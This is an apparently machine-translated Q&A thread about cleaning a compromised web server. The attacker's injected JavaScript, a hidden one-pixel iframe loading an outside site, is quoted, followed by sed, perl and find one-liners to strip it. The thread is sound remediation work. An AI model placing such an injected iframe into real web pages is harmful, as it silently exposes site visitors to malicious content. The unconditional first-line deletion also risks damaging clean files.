修改服务器上文件内容的最佳脚本

Eri*_*ic 2 python bash scripting perl sed

问题:
我的网络服务器最近遭到入侵.他们针对javascript文件.他们插入了以下代码段

document.write('<iframe src="http://lcbmc.co.uk/showthread.php?t=31540750" width="1" height="1" frameborder="0"></iframe>') 
Run Code Online (Sandbox Code Playgroud)

这被添加到服务器上每个.js文件的顶部.

解决方案:
编写一个脚本来打开我服务器上的每个javascript文件,检查恶意代码,删除恶意代码,最后保存文件.

问题:
脚本应该用什么编程语言编写?python会起作用吗?我在我的服务器上运行python 2.4.3.如果我在root下运行python脚本,我将不得不担心意外更改已修改文件的所有者权限?

谢谢

mat*_*hew 5

sed -i '1d;' *.js
Run Code Online (Sandbox Code Playgroud)

简单,并将从每个javascript文件中删除第一行.

你可以在python中做得更多,但是你在每个*.js文件中都说过第一行,不是吗?

更好的是,你可以考虑perl

python会起作用,但Python的灵魂不是一个简单的快速单行,对于这样的东西,快速无痛的单行是你想要的.

 perl -pi.bak -e 's/^document.*lcbmc.*\n//g' *.js
Run Code Online (Sandbox Code Playgroud)

如果你在命令行运行它,它将匹配任何以document开头并包含lcbmc(包括\n - 新行)的行并完全删除该行.请注意,i.bak会创建所有内容的备份文件.bak.你可能会建议保留这个,因为你可能会"搞乱"

之后就跑了

rm -v *.js.bak
Run Code Online (Sandbox Code Playgroud)

UPDATE

根据评论我建议在*.js文件的目录中运行perl scripit,或使用find

find /startDir/ -iname '*.js' -exec perl -pi.bak -e 's/^document.*lcbmc.*\n//g' {} \; 
Run Code Online (Sandbox Code Playgroud)

这将:
1.如果您指定正确的路径
2.在找到的({})文件上执行perl one-liner.
逃跑; (\;)用于将命令串在一起,
4.因此它将执行

perl -pi.bak -e 's/^document.*lcbmc.*\n//g' found-item-1.js; perl -pi.bak -e 's/^document.*lcbmc.*\n//g' found-item-2.js

等等...有些版本的find支持+你可以在下面的问题中观察行为:find \; VS +

注意:您可以使用find查找多个路径.

find /var/www/*.js /home/eric/.apache/*.js
Run Code Online (Sandbox Code Playgroud)

将在/ var/www /文件夹和〜/ .apache文件夹中找到具有*.js文件的文件.